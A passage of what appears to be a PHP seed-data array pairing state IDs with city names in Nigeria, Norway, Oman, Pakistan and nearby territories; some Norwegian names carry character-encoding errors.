['state_id' => '2665', 'name' => 'kachia'],\n ['state_id' => '2665', 'name' => 'kaduna'],\n ['state_id' => '2665', 'name' => 'kafanchan'],\n ['state_id' => '2665', 'name' => 'kagarko'],\n ['state_id' => '2665', 'name' => 'kagoro'],\n ['state_id' => '2665', 'name' => 'kaura'],\n ['state_id' => '2665', 'name' => 'kudan'],\n ['state_id' => '2665', 'name' => 'lere'],\n ['state_id' => '2665', 'name' => 'makarfi'],\n ['state_id' => '2665', 'name' => 'sabon birnin gwari'],\n ['state_id' => '2665', 'name' => 'sabongari'],\n ['state_id' => '2665', 'name' => 'sanga'],\n ['state_id' => '2665', 'name' => 'soba'],\n ['state_id' => '2665', 'name' => 'tudun wada'],\n ['state_id' => '2665', 'name' => 'zangon katab'],\n ['state_id' => '2665', 'name' => 'zaria'],\n ['state_id' => '2666', 'name' => 'ajingi'],\n ['state_id' => '2666', 'name' => 'albasu'],\n ['state_id' => '2666', 'name' => 'bagwai'],\n ['state_id' => '2666', 'name' => 'bebeji'],\n ['state_id' => '2666', 'name' => 'bichi'],\n ['state_id' => '2666', 'name' => 'bunkure'],\n ['state_id' => '2666', 'name' => 'dambarta'],\n ['state_id' => '2666', 'name' => 'dawakin tofe'],\n ['state_id' => '2666', 'name' => 'fagge'],\n ['state_id' => '2666', 'name' => 'garko'],\n ['state_id' => '2666', 'name' => 'garun mallam'],\n ['state_id' => '2666', 'name' => 'gaya'],\n ['state_id' => '2666', 'name' => 'gezawa'],\n ['state_id' => '2666', 'name' => 'gwarzo'],\n ['state_id' => '2666', 'name' => 'kabo'],\n ['state_id' => '2666', 'name' => 'kano'],\n ['state_id' => '2666', 'name' => 'karaye'],\n ['state_id' => '2666', 'name' => 'kibiya'],\n ['state_id' => '2666', 'name' => 'kiru'],\n ['state_id' => '2666', 'name' => 'kumbotso'],\n ['state_id' => '2666', 'name' => 'kunchi'],\n ['state_id' => '2666', 'name' => 'kura'],\n ['state_id' => '2666', 'name' => 'madobi'],\n ['state_id' => '2666', 'name' => 'makoda'],\n ['state_id' => '2666', 'name' => 'nassarawa'],\n ['state_id' => '2666', 'name' => 'rano'],\n ['state_id' => '2666', 'name' => 'rimin gado'],\n ['state_id' => '2666', 'name' => 'shanono'],\n ['state_id' => '2666', 'name' => 'sumaila'],\n ['state_id' => '2666', 'name' => 'takai'],\n ['state_id' => '2666', 'name' => 'tofa'],\n ['state_id' => '2666', 'name' => 'tudun wada'],\n ['state_id' => '2666', 'name' => 'wudil'],\n ['state_id' => '2667', 'name' => 'bakori'],\n ['state_id' => '2667', 'name' => 'batsari'],\n ['state_id' => '2667', 'name' => 'bindawa'],\n ['state_id' => '2667', 'name' => 'cheranchi'],\n ['state_id' => '2667', 'name' => 'dan dume'],\n ['state_id' => '2667', 'name' => 'danja'],\n ['state_id' => '2667', 'name' => 'daura'],\n ['state_id' => '2667', 'name' => 'dutsi'],\n ['state_id' => '2667', 'name' => 'dutsin ma'],\n ['state_id' => '2667', 'name' => 'faskari'],\n ['state_id' => '2667', 'name' => 'funtua'],\n ['state_id' => '2667', 'name' => 'ingawa'],\n ['state_id' => '2667', 'name' => 'jibiya'],\n ['state_id' => '2667', 'name' => 'kangiwa'],\n ['state_id' => '2667', 'name' => 'kankara'],\n ['state_id' => '2667', 'name' => 'kankiya'],\n ['state_id' => '2667', 'name' => 'katsina'],\n ['state_id' => '2667', 'name' => 'kurfi'],\n ['state_id' => '2667', 'name' => 'malumfashi'],\n ['state_id' => '2667', 'name' => 'mani'],\n ['state_id' => '2667', 'name' => 'mashi'],\n ['state_id' => '2667', 'name' => 'musawa'],\n ['state_id' => '2667', 'name' => 'rimi'],\n ['state_id' => '2667', 'name' => 'sandamu'],\n ['state_id' => '2667', 'name' => 'zango'],\n ['state_id' => '2668', 'name' => 'argungu'],\n ['state_id' => '2668', 'name' => 'augie'],\n ['state_id' => '2668', 'name' => 'bagudo'],\n ['state_id' => '2668', 'name' => 'birnin kebbi'],\n ['state_id' => '2668', 'name' => 'birnin yauri'],\n ['state_id' => '2668', 'name' => 'bunza'],\n ['state_id' => '2668', 'name' => 'fakai'],\n ['state_id' => '2668', 'name' => 'gwandu'],\n ['state_id' => '2668', 'name' => 'jega'],\n ['state_id' => '2668', 'name' => 'kalgo'],\n ['state_id' => '2668', 'name' => 'koko'],\n ['state_id' => '2668', 'name' => 'maiyema'],\n ['state_id' => '2668', 'name' => 'sakaba'],\n ['state_id' => '2668', 'name' => 'shanga'],\n ['state_id' => '2668', 'name' => 'suru'],\n ['state_id' => '2668', 'name' => 'wasagu'],\n ['state_id' => '2668', 'name' => 'zuru'],\n ['state_id' => '2669', 'name' => 'ajaokuta'],\n ['state_id' => '2669', 'name' => 'ankpa'],\n ['state_id' => '2669', 'name' => 'dekina'],\n ['state_id' => '2669', 'name' => 'idah'],\n ['state_id' => '2669', 'name' => 'kabba'],\n ['state_id' => '2669', 'name' => 'koton-karifi'],\n ['state_id' => '2669', 'name' => 'kuroro'],\n ['state_id' => '2669', 'name' => 'lokoja'],\n ['state_id' => '2669', 'name' => 'mopa'],\n ['state_id' => '2669', 'name' => 'ogaminana'],\n ['state_id' => '2669', 'name' => 'ogori'],\n ['state_id' => '2669', 'name' => 'okene'],\n ['state_id' => '2670', 'name' => 'ajasse'],\n ['state_id' => '2670', 'name' => 'ilorin'],\n ['state_id' => '2670', 'name' => 'jebba'],\n ['state_id' => '2670', 'name' => 'kaiama'],\n ['state_id' => '2670', 'name' => 'lafiagi'],\n ['state_id' => '2670', 'name' => 'offa'],\n ['state_id' => '2670', 'name' => 'pategi'],\n ['state_id' => '2671', 'name' => 'apapa'],\n ['state_id' => '2671', 'name' => 'badagri'],\n ['state_id' => '2671', 'name' => 'epe'],\n ['state_id' => '2671', 'name' => 'ibeju'],\n ['state_id' => '2671', 'name' => 'iganmi'],\n ['state_id' => '2671', 'name' => 'ikeja'],\n ['state_id' => '2671', 'name' => 'ikorodu'],\n ['state_id' => '2671', 'name' => 'lagos'],\n ['state_id' => '2671', 'name' => 'ojo'],\n ['state_id' => '2671', 'name' => 'surulere'],\n ['state_id' => '2672', 'name' => 'akwanga'],\n ['state_id' => '2672', 'name' => 'awe'],\n ['state_id' => '2672', 'name' => 'doma'],\n ['state_id' => '2672', 'name' => 'keana'],\n ['state_id' => '2672', 'name' => 'keffi'],\n ['state_id' => '2672', 'name' => 'lafia'],\n ['state_id' => '2672', 'name' => 'nassarawa'],\n ['state_id' => '2672', 'name' => 'obi'],\n ['state_id' => '2672', 'name' => 'toto'],\n ['state_id' => '2672', 'name' => 'wamba'],\n ['state_id' => '2673', 'name' => 'agale'],\n ['state_id' => '2673', 'name' => 'babana'],\n ['state_id' => '2673', 'name' => 'bida'],\n ['state_id' => '2673', 'name' => 'bosso'],\n ['state_id' => '2673', 'name' => 'chanchaga'],\n ['state_id' => '2673', 'name' => 'gbako'],\n ['state_id' => '2673', 'name' => 'kontagora'],\n ['state_id' => '2673', 'name' => 'lapai'],\n ['state_id' => '2673', 'name' => 'minna'],\n ['state_id' => '2673', 'name' => 'mokwa'],\n ['state_id' => '2673', 'name' => 'new bussa'],\n ['state_id' => '2673', 'name' => 'rijau'],\n ['state_id' => '2673', 'name' => 'shiroro'],\n ['state_id' => '2673', 'name' => 'suleja'],\n ['state_id' => '2673', 'name' => 'wushishi'],\n ['state_id' => '2674', 'name' => 'abeokuta'],\n ['state_id' => '2674', 'name' => 'ado odo'],\n ['state_id' => '2674', 'name' => 'agbara'],\n ['state_id' => '2674', 'name' => 'aiyetoro'],\n ['state_id' => '2674', 'name' => 'ewekoro'],\n ['state_id' => '2674', 'name' => 'ifo'],\n ['state_id' => '2674', 'name' => 'ijebu igbo'],\n ['state_id' => '2674', 'name' => 'ijebu ode'],\n ['state_id' => '2674', 'name' => 'ikene'],\n ['state_id' => '2674', 'name' => 'ilaro'],\n ['state_id' => '2674', 'name' => 'ipokia'],\n ['state_id' => '2674', 'name' => 'odogbolu'],\n ['state_id' => '2674', 'name' => 'owode'],\n ['state_id' => '2674', 'name' => 'sango ota'],\n ['state_id' => '2674', 'name' => 'shagamu'],\n ['state_id' => '2675', 'name' => 'akure'],\n ['state_id' => '2675', 'name' => 'idanre'],\n ['state_id' => '2675', 'name' => 'ikare'],\n ['state_id' => '2675', 'name' => 'irele'],\n ['state_id' => '2675', 'name' => 'odigbo'],\n ['state_id' => '2675', 'name' => 'oka'],\n ['state_id' => '2675', 'name' => 'okitipupa'],\n ['state_id' => '2675', 'name' => 'ondo'],\n ['state_id' => '2675', 'name' => 'owo'],\n ['state_id' => '2676', 'name' => 'apomu'],\n ['state_id' => '2676', 'name' => 'ede'],\n ['state_id' => '2676', 'name' => 'ejigbo'],\n ['state_id' => '2676', 'name' => 'erin-oshogbo'],\n ['state_id' => '2676', 'name' => 'gbongan'],\n ['state_id' => '2676', 'name' => 'ife'],\n ['state_id' => '2676', 'name' => 'ifon osun'],\n ['state_id' => '2676', 'name' => 'ijesha'],\n ['state_id' => '2676', 'name' => 'ikire'],\n ['state_id' => '2676', 'name' => 'ikirun'],\n ['state_id' => '2676', 'name' => 'ila'],\n ['state_id' => '2676', 'name' => 'ilesha'],\n ['state_id' => '2676', 'name' => 'ilobu'],\n ['state_id' => '2676', 'name' => 'inisa'],\n ['state_id' => '2676', 'name' => 'iwo'],\n ['state_id' => '2676', 'name' => 'modakeke'],\n ['state_id' => '2676', 'name' => 'oke-mesi'],\n ['state_id' => '2676', 'name' => 'olorunda'],\n ['state_id' => '2676', 'name' => 'olupona'],\n ['state_id' => '2676', 'name' => 'ore'],\n ['state_id' => '2676', 'name' => 'orolu'],\n ['state_id' => '2676', 'name' => 'oshogbo'],\n ['state_id' => '2676', 'name' => 'oyan'],\n ['state_id' => '2677', 'name' => 'akinyele'],\n ['state_id' => '2677', 'name' => 'egbeda'],\n ['state_id' => '2677', 'name' => 'eruwa'],\n ['state_id' => '2677', 'name' => 'fiditi'],\n ['state_id' => '2677', 'name' => 'ibadan'],\n ['state_id' => '2677', 'name' => 'ibeto'],\n ['state_id' => '2677', 'name' => 'igbo ora'],\n ['state_id' => '2677', 'name' => 'igboho'],\n ['state_id' => '2677', 'name' => 'iseyin'],\n ['state_id' => '2677', 'name' => 'kajola'],\n ['state_id' => '2677', 'name' => 'kishi'],\n ['state_id' => '2677', 'name' => 'lalupon'],\n ['state_id' => '2677', 'name' => 'ogbomosho'],\n ['state_id' => '2677', 'name' => 'ogo'],\n ['state_id' => '2677', 'name' => 'oke-iho'],\n ['state_id' => '2677', 'name' => 'oyo'],\n ['state_id' => '2677', 'name' => 'shaki'],\n ['state_id' => '2678', 'name' => 'barakin'],\n ['state_id' => '2678', 'name' => 'bassa'],\n ['state_id' => '2678', 'name' => 'bokkos'],\n ['state_id' => '2678', 'name' => 'bukuru'],\n ['state_id' => '2678', 'name' => 'jos'],\n ['state_id' => '2678', 'name' => 'langtang'],\n ['state_id' => '2678', 'name' => 'pankshin'],\n ['state_id' => '2678', 'name' => 'riyom'],\n ['state_id' => '2678', 'name' => 'shendam'],\n ['state_id' => '2678', 'name' => 'vom'],\n ['state_id' => '2678', 'name' => 'wase'],\n ['state_id' => '2679', 'name' => 'abonnema'],\n ['state_id' => '2679', 'name' => 'abua'],\n ['state_id' => '2679', 'name' => 'ahoada'],\n ['state_id' => '2679', 'name' => 'bonny'],\n ['state_id' => '2679', 'name' => 'bugama'],\n ['state_id' => '2679', 'name' => 'degema'],\n ['state_id' => '2679', 'name' => 'egbema'],\n ['state_id' => '2679', 'name' => 'ogu'],\n ['state_id' => '2679', 'name' => 'okrika'],\n ['state_id' => '2679', 'name' => 'omoko'],\n ['state_id' => '2679', 'name' => 'opobo'],\n ['state_id' => '2679', 'name' => 'oyigbo'],\n ['state_id' => '2679', 'name' => 'port harcourt'],\n ['state_id' => '2680', 'name' => 'binji'],\n ['state_id' => '2680', 'name' => 'bodinga'],\n ['state_id' => '2680', 'name' => 'dange'],\n ['state_id' => '2680', 'name' => 'gada'],\n ['state_id' => '2680', 'name' => 'goronyo'],\n ['state_id' => '2680', 'name' => 'gwadabawa'],\n ['state_id' => '2680', 'name' => 'illela'],\n ['state_id' => '2680', 'name' => 'kebbe'],\n ['state_id' => '2680', 'name' => 'kware'],\n ['state_id' => '2680', 'name' => 'rabah'],\n ['state_id' => '2680', 'name' => 'raka'],\n ['state_id' => '2680', 'name' => 'sabon birni'],\n ['state_id' => '2680', 'name' => 'sokoto'],\n ['state_id' => '2680', 'name' => 'tambawel'],\n ['state_id' => '2680', 'name' => 'tureta'],\n ['state_id' => '2680', 'name' => 'wamako'],\n ['state_id' => '2680', 'name' => 'wurno'],\n ['state_id' => '2681', 'name' => 'bali'],\n ['state_id' => '2681', 'name' => 'gashaka'],\n ['state_id' => '2681', 'name' => 'gassol'],\n ['state_id' => '2681', 'name' => 'ibi'],\n ['state_id' => '2681', 'name' => 'jalingo'],\n ['state_id' => '2681', 'name' => 'lau'],\n ['state_id' => '2681', 'name' => 'takum'],\n ['state_id' => '2681', 'name' => 'wukari'],\n ['state_id' => '2681', 'name' => 'yorro'],\n ['state_id' => '2682', 'name' => 'damaturu'],\n ['state_id' => '2682', 'name' => 'fika'],\n ['state_id' => '2682', 'name' => 'gashua'],\n ['state_id' => '2682', 'name' => 'geidam'],\n ['state_id' => '2682', 'name' => 'gorgoram'],\n ['state_id' => '2682', 'name' => 'gujba'],\n ['state_id' => '2682', 'name' => 'gulani'],\n ['state_id' => '2682', 'name' => 'jakusko'],\n ['state_id' => '2682', 'name' => 'matsena'],\n ['state_id' => '2682', 'name' => 'nguru'],\n ['state_id' => '2682', 'name' => 'potiskum'],\n ['state_id' => '2682', 'name' => 'yusufari'],\n ['state_id' => '2683', 'name' => 'anka'],\n ['state_id' => '2683', 'name' => 'bungudu'],\n ['state_id' => '2683', 'name' => 'chafe'],\n ['state_id' => '2683', 'name' => 'gummi'],\n ['state_id' => '2683', 'name' => 'gusau'],\n ['state_id' => '2683', 'name' => 'isa'],\n ['state_id' => '2683', 'name' => 'kaura namoda'],\n ['state_id' => '2683', 'name' => 'kiyawa'],\n ['state_id' => '2683', 'name' => 'maradun'],\n ['state_id' => '2683', 'name' => 'maru'],\n ['state_id' => '2683', 'name' => 'shinkafe'],\n ['state_id' => '2683', 'name' => 'talata mafara'],\n ['state_id' => '2683', 'name' => 'zurmi'],\n ['state_id' => '2684', 'name' => 'niue'],\n ['state_id' => '2687', 'name' => 'songsong'],\n ['state_id' => '2688', 'name' => 'capital hill'],\n ['state_id' => '2688', 'name' => 'chalan kanoa'],\n ['state_id' => '2688', 'name' => 'dandan'],\n ['state_id' => '2688', 'name' => 'garapan'],\n ['state_id' => '2688', 'name' => 'gualo rai'],\n ['state_id' => '2688', 'name' => 'kagman'],\n ['state_id' => '2688', 'name' => 'koblerville'],\n ['state_id' => '2688', 'name' => 'san antonio'],\n ['state_id' => '2688', 'name' => 'san jose'],\n ['state_id' => '2688', 'name' => 'san roque'],\n ['state_id' => '2688', 'name' => 'san vicente'],\n ['state_id' => '2688', 'name' => 'susupe'],\n ['state_id' => '2688', 'name' => 'tanapag'],\n ['state_id' => '2689', 'name' => 'san jose'],\n ['state_id' => '2690', 'name' => 'asker'],\n ['state_id' => '2690', 'name' => 'billingstad'],\n ['state_id' => '2690', 'name' => 'haslum'],\n ['state_id' => '2690', 'name' => 'hosle'],\n ['state_id' => '2690', 'name' => 'kjeller'],\n ['state_id' => '2690', 'name' => 'lillestrom'],\n ['state_id' => '2690', 'name' => 'lorenskog'],\n ['state_id' => '2690', 'name' => 'lysaker'],\n ['state_id' => '2690', 'name' => 'lãƒâ¸renskog'],\n ['state_id' => '2690', 'name' => 'rud'],\n ['state_id' => '2690', 'name' => 'sandvika'],\n ['state_id' => '2690', 'name' => 'strommen'],\n ['state_id' => '2692', 'name' => 'kokstad'],\n ['state_id' => '2693', 'name' => 'drammen'],\n ['state_id' => '2693', 'name' => 'hokksund'],\n ['state_id' => '2693', 'name' => 'honefoss'],\n ['state_id' => '2693', 'name' => 'kongsberg'],\n ['state_id' => '2693', 'name' => 'lyngdal'],\n ['state_id' => '2693', 'name' => 'nãƒâ¦rsnes'],\n ['state_id' => '2693', 'name' => 'vestby'],\n ['state_id' => '2694', 'name' => 'baatsfjord'],\n ['state_id' => '2694', 'name' => 'hammerfest'],\n ['state_id' => '2695', 'name' => 'brumunddal'],\n ['state_id' => '2695', 'name' => 'elverum'],\n ['state_id' => '2695', 'name' => 'hamar'],\n ['state_id' => '2695', 'name' => 'ilseng'],\n ['state_id' => '2695', 'name' => 'rena'],\n ['state_id' => '2695', 'name' => 'trysil'],\n ['state_id' => '2696', 'name' => 'bergen'],\n ['state_id' => '2696', 'name' => 'hãƒâ¸ylandsbygd'],\n ['state_id' => '2696', 'name' => 'lonevag'],\n ['state_id' => '2696', 'name' => 'straume'],\n ['state_id' => '2696', 'name' => 'tysnes'],\n ['state_id' => '2696', 'name' => 'voss'],\n ['state_id' => '2699', 'name' => 'bodo'],\n ['state_id' => '2699', 'name' => 'mosjoen'],\n ['state_id' => '2699', 'name' => 'narvik'],\n ['state_id' => '2699', 'name' => 'nesna'],\n ['state_id' => '2699', 'name' => 'saltdal'],\n ['state_id' => '2699', 'name' => 'sortland'],\n ['state_id' => '2699', 'name' => 'steigen'],\n ['state_id' => '2700', 'name' => 'askim'],\n ['state_id' => '2700', 'name' => 'fredrikstad'],\n ['state_id' => '2700', 'name' => 'halden'],\n ['state_id' => '2700', 'name' => 'hovik'],\n ['state_id' => '2700', 'name' => 'moss'],\n ['state_id' => '2700', 'name' => 'mysen'],\n ['state_id' => '2700', 'name' => 'sarpsborg'],\n ['state_id' => '2700', 'name' => 'tistedal'],\n ['state_id' => '2701', 'name' => 'lena'],\n ['state_id' => '2701', 'name' => 'lillehammer'],\n ['state_id' => '2702', 'name' => 'oslo'],\n ['state_id' => '2702', 'name' => 'skedsmo'],\n ['state_id' => '2702', 'name' => 'skjetten'],\n ['state_id' => '2703', 'name' => 'egersund'],\n ['state_id' => '2703', 'name' => 'haugesund'],\n ['state_id' => '2703', 'name' => 'kleppe'],\n ['state_id' => '2703', 'name' => 'sandnes'],\n ['state_id' => '2703', 'name' => 'sola'],\n ['state_id' => '2703', 'name' => 'stavanger'],\n ['state_id' => '2706', 'name' => 'stavern'],\n ['state_id' => '2707', 'name' => 'sykkylven'],\n ['state_id' => '2708', 'name' => 'notodden'],\n ['state_id' => '2708', 'name' => 'skien'],\n ['state_id' => '2709', 'name' => 'harstad'],\n ['state_id' => '2709', 'name' => 'troms'],\n ['state_id' => '2709', 'name' => 'tromsãƒâ¸'],\n ['state_id' => '2711', 'name' => 'horten'],\n ['state_id' => '2711', 'name' => 'husãƒâ¸ysund'],\n ['state_id' => '2711', 'name' => 'larvik'],\n ['state_id' => '2711', 'name' => 'rygge'],\n ['state_id' => '2711', 'name' => 'sandefjord'],\n ['state_id' => '2711', 'name' => 'tãƒâ¸nsberg'],\n ['state_id' => '2714', 'name' => 'salalah'],\n ['state_id' => '2715', 'name' => 'azaiba'],\n ['state_id' => '2715', 'name' => 'bawshar'],\n ['state_id' => '2715', 'name' => 'madinat qabus'],\n ['state_id' => '2715', 'name' => 'masqat'],\n ['state_id' => '2715', 'name' => 'matrah'],\n ['state_id' => '2715', 'name' => 'muscat'],\n ['state_id' => '2715', 'name' => 'muttrah'],\n ['state_id' => '2715', 'name' => 'qurayyat'],\n ['state_id' => '2715', 'name' => 'qurm'],\n ['state_id' => '2715', 'name' => 'ruwi'],\n ['state_id' => '2715', 'name' => 'wadi al kabir'],\n ['state_id' => '2715', 'name' => 'as-sib'],\n ['state_id' => '2716', 'name' => 'khasab'],\n ['state_id' => '2717', 'name' => 'rusayl'],\n ['state_id' => '2719', 'name' => 'bahla\\''],\n ['state_id' => '2719', 'name' => 'nizwa'],\n ['state_id' => '2719', 'name' => 'sumayl'],\n ['state_id' => '2720', 'name' => '\\'ibri'],\n ['state_id' => '2720', 'name' => 'al-buraymi'],\n ['state_id' => '2721', 'name' => 'al khuwair'],\n ['state_id' => '2721', 'name' => 'barkah'],\n ['state_id' => '2721', 'name' => 'saham'],\n ['state_id' => '2721', 'name' => 'shinas'],\n ['state_id' => '2721', 'name' => 'suhar'],\n ['state_id' => '2721', 'name' => 'al-khaburah'],\n ['state_id' => '2721', 'name' => 'al-masna\\'ah'],\n ['state_id' => '2721', 'name' => 'ar-rustaq'],\n ['state_id' => '2721', 'name' => 'as-suwayq'],\n ['state_id' => '2722', 'name' => 'ibra'],\n ['state_id' => '2722', 'name' => 'sur'],\n ['state_id' => '2722', 'name' => 'al-mudaybi'],\n ['state_id' => '2723', 'name' => 'barkhan'],\n ['state_id' => '2723', 'name' => 'bela'],\n ['state_id' => '2723', 'name' => 'bhag'],\n ['state_id' => '2723', 'name' => 'chaman'],\n ['state_id' => '2723', 'name' => 'chitkan'],\n ['state_id' => '2723', 'name' => 'dalbandin'],\n ['state_id' => '2723', 'name' => 'dera allah yar'],\n ['state_id' => '2723', 'name' => 'dera bugti'],\n ['state_id' => '2723', 'name' => 'dera murad jamali'],\n ['state_id' => '2723', 'name' => 'dhadar'],\n ['state_id' => '2723', 'name' => 'duki'],\n ['state_id' => '2723', 'name' => 'gaddani'],\n ['state_id' => '2723', 'name' => 'gwadar'],\n ['state_id' => '2723', 'name' => 'harnai'],\n ['state_id' => '2723', 'name' => 'hub'],\n ['state_id' => '2723', 'name' => 'jiwani'],\n ['state_id' => '2723', 'name' => 'kalat'],\n ['state_id' => '2723', 'name' => 'kharan'],\n ['state_id' => '2723', 'name' => 'khuzdar'],\n ['state_id' => '2723', 'name' => 'kohlu'],\n ['state_id' => '2723', 'name' => 'loralai'],\n ['state_id' => '2723', 'name' => 'mach'],\n ['state_id' => '2723', 'name' => 'mastung'],\n ['state_id' => '2723', 'name' => 'nushki'],\n ['state_id' => '2723', 'name' => 'ormara'],\n ['state_id' => '2723', 'name' => 'pasni'],\n ['state_id' => '2723', 'name' => 'pishin'],\n ['state_id' => '2723', 'name' => 'quetta'],\n ['state_id' => '2723', 'name' => 'sibi'],\n ['state_id' => '2723', 'name' => 'sohbatpur'],\n ['state_id' => '2723', 'name' => 'surab'],\n ['state_id' => '2723', 'name' => 'turbat'],\n ['state_id' => '2723', 'name' => 'usta muhammad'],\n ['state_id' => '2723', 'name' => 'uthal'],\n ['state_id' => '2723', 'name' => 'wadh'],\n ['state_id' => '2723', 'name' => 'winder'],\n ['state_id' => '2723', 'name' => 'zehri'],\n ['state_id' => '2723', 'name' => 'zhob'],\n ['state_id' => '2723', 'name' => 'ziarat'],\n ['state_id' => '2728', 'name' => '\\'abdul hakim'],\n ['state_id' => '2728', 'name' => 'ahmadpur east'],\n ['state_id' => '2728', 'name' => 'ahmadpur lumma'],\n ['state_id' => '2728', 'name' => 'ahmadpur sial'],\n ['state_id' => '2728', 'name' => 'ahmedabad'],\n ['state_id' => '2728', 'name' => 'alipur'],\n ['state_id' => '2728', 'name' => 'alipur chatha'],\n ['state_id' => '2728', 'name' => 'arifwala'],\n ['state_id' => '2728', 'name' => 'attock'],\n ['state_id' => '2728', 'name' => 'baddomalhi'],\n ['state_id' => '2728', 'name' => 'bagh'],\n ['state_id' => '2728', 'name' => 'bahawalnagar'],\n ['state_id' => '2728', 'name' => 'bahawalpur'],\n ['state_id' => '2728', 'name' => 'bai pheru'],\n ['state_id' => '2728', 'name' => 'basirpur'],\n ['state_id' => '2728', 'name' => 'begowala'],\n ['state_id' => '2728', 'name' => 'bhakkar'],\n ['state_id' => '2728', 'name' => 'bhalwal'],\n ['state_id' => '2728', 'name' => 'bhawana'],\n ['state_id' => '2728', 'name' => 'bhera'],\n ['state_id' => '2728', 'name' => 'bhopalwala'],\n ['state_id' => '2728', 'name' => 'burewala'],\n ['state_id' => '2728', 'name' => 'chak azam sahu'],\n ['state_id' => '2728', 'name' => 'chak jhumra'],\n ['state_id' => '2728', 'name' => 'chak sarwar shahid'],\n ['state_id' => '2728', 'name' => 'chakwal'],\n ['state_id' => '2728', 'name' => 'chawinda'],\n ['state_id' => '2728', 'name' => 'chichawatni'],\n ['state_id' => '2728', 'name' => 'chiniot'],\n ['state_id' => '2728', 'name' => 'chishtian mandi'],\n ['state_id' => '2728', 'name' => 'choa saidan shah'],\n ['state_id' => '2728', 'name' => 'chuhar kana'],\n ['state_id' => '2728', 'name' => 'chunian'],\n ['state_id' => '2728', 'name' => 'dajal'],\n ['state_id' => '2728', 'name' => 'darya khan'],\n ['state_id' => '2728', 'name' => 'daska'],\n ['state_id' => '2728', 'name' => 'daud khel'],\n ['state_id' => '2728', 'name' => 'daultala'],\n ['state_id' => '2728', 'name' => 'dera din panah'],\n ['state_id' => '2728', 'name' => 'dera ghazi khan'],\n ['state_id' => '2728', 'name' => 'dhanote'],\n ['state_id' => '2728', 'name' => 'dhonkal'],\n ['state_id' => '2728', 'name' => 'dijkot'],\n ['state_id' => '2728', 'name' => 'dina'],\n ['state_id' => '2728', 'name' => 'dinga'],\n ['state_id' => '2728', 'name' => 'dipalpur'],\n ['state_id' => '2728', 'name' => 'dullewala'],\n ['state_id' => '2728', 'name' => 'dunga bunga'],\n ['state_id' => '2728', 'name' => 'dunyapur'],\n ['state_id' => '2728', 'name' => 'eminabad'],\n ['state_id' => '2728', 'name' => 'faisalabad'],\n ['state_id' => '2728', 'name' => 'faqirwali'],\n ['state_id' => '2728', 'name' => 'faruka'],\n ['state_id' => '2728', 'name' => 'fateh jang'],\n ['state_id' => '2728', 'name' => 'fatehpur'],\n ['state_id' => '2728', 'name' => 'fazalpur'],\n ['state_id' => '2728', 'name' => 'ferozwala'],\n ['state_id' => '2728', 'name' => 'fort abbas'],\n ['state_id' => '2728', 'name' => 'garh maharaja'],\n ['state_id' => '2728', 'name' => 'ghakar'],\n ['state_id' => '2728', 'name' => 'ghurgushti'],\n ['state_id' => '2728', 'name' => 'gojra'],\n ['state_id' => '2728', 'name' => 'gujar khan'],\n ['state_id' => '2728', 'name' => 'gujranwala'],\n ['state_id' => '2728', 'name' => 'gujrat'],\n ['state_id' => '2728', 'name' => 'hadali'],\n ['state_id' => '2728', 'name' => 'hafizabad'],\n ['state_id' => '2728', 'name' => 'harnoli'],\n ['state_id' => '2728', 'name' => 'harunabad'],\n ['state_id' => '2728', 'name' => 'hasan abdal'],\n ['state_id' => '2728', 'name' => 'hasilpur'],\n ['state_id' => '2728', 'name' => 'haveli'],\n ['state_id' => '2728', 'name' => 'hazro'],\n ['state_id' => '2728', 'name' => 'hujra shah muqim'],\n ['state_id' => '2728', 'name' => 'isa khel'],\n ['state_id' => '2728', 'name' => 'jahanian'],\n ['state_id' => '2728', 'name' => 'jalalpur bhattian'],\n ['state_id' => '2728', 'name' => 'jalalpur jattan'],\n ['state_id' => '2728', 'name' => 'jalalpur pirwala'],\n ['state_id' => '2728', 'name' => 'jalla jeem'],\n ['state_id' => '2728', 'name' => 'jamke chima'],\n ['state_id' => '2728', 'name' => 'jampur'],\n ['state_id' => '2728', 'name' => 'jand'],\n ['state_id' => '2728', 'name' => 'jandanwala'],\n ['state_id' => '2728', 'name' => 'jandiala sherkhan'],\n ['state_id' => '2728', 'name' => 'jaranwala'],\n ['state_id' => '2728', 'name' => 'jatoi'],\n ['state_id' => '2728', 'name' => 'jauharabad'],\n ['state_id' => '2728', 'name' => 'jhang'],\n ['state_id' => '2728', 'name' => 'jhawarian'],\n ['state_id' => '2728', 'name' => 'jhelum'],\n ['state_id' => '2728', 'name' => 'kabirwala'],\n ['state_id' => '2728', 'name' => 'kahna nau'],\n ['state_id' => '2728', 'name' => 'kahror pakka'],\n ['state_id' => '2728', 'name' => 'kahuta'],\n ['state_id' => '2728', 'name' => 'kalabagh'],\n ['state_id' => '2728', 'name' => 'kalaswala'],\n ['state_id' => '2728', 'name' => 'kaleke'],\n ['state_id' => '2728', 'name' => 'kalur kot'],\n ['state_id' => '2728', 'name' => 'kamalia'],\n ['state_id' => '2728', 'name' => 'kamar mashani'],\n ['state_id' => '2728', 'name' => 'kamir'],\n ['state_id' => '2728', 'name' => 'kamoke'],\n ['state_id' => '2728', 'name' => 'kamra'],\n ['state_id' => '2728', 'name' => 'kanganpur'],\n ['state_id' => '2728', 'name' => 'karampur'],\n ['state_id' => '2728', 'name' => 'karor lal esan'],\n ['state_id' => '2728', 'name' => 'kasur'],\n ['state_id' => '2728', 'name' => 'khairpur tamewali'],\n ['state_id' => '2728', 'name' => 'khanewal'],\n ['state_id' => '2728', 'name' => 'khangah dogran'],\n ['state_id' => '2728', 'name' => 'khangarh'],\n ['state_id' => '2728', 'name' => 'khanpur'],\n ['state_id' => '2728', 'name' => 'kharian'],\n ['state_id' => '2728', 'name' => 'khewra'],\n ['state_id' => '2728', 'name' => 'khundian'],\n ['state_id' => '2728', 'name' => 'khurianwala'],\n ['state_id' => '2728', 'name' => 'khushab'],\n ['state_id' => '2728', 'name' => 'kot abdul malik'],\n ['state_id' => '2728', 'name' => 'kot addu'],\n ['state_id' => '2728', 'name' => 'kot mithan'],\n ['state_id' => '2728', 'name' => 'kot moman'],\n ['state_id' => '2728', 'name' => 'kot radha kishan'],\n ['state_id' => '2728', 'name' => 'kot samaba'],\n ['state_id' => '2728', 'name' => 'kotli loharan'],\n ['state_id' => '2728', 'name' => 'kundian'],\n ['state_id' => '2728', 'name' => 'kunjah'],\n ['state_id' => '2728', 'name' => 'lahore'],\n ['state_id' => '2728', 'name' => 'lalamusa'],\n ['state_id' => '2728', 'name' => 'lalian'],\n ['state_id' => '2728', 'name' => 'liaqatabad'],\n ['state_id' => '2728', 'name' => 'liaqatpur'],\n ['state_id' => '2728', 'name' => 'lieah'],\n ['state_id' => '2728', 'name' => 'liliani'],\n 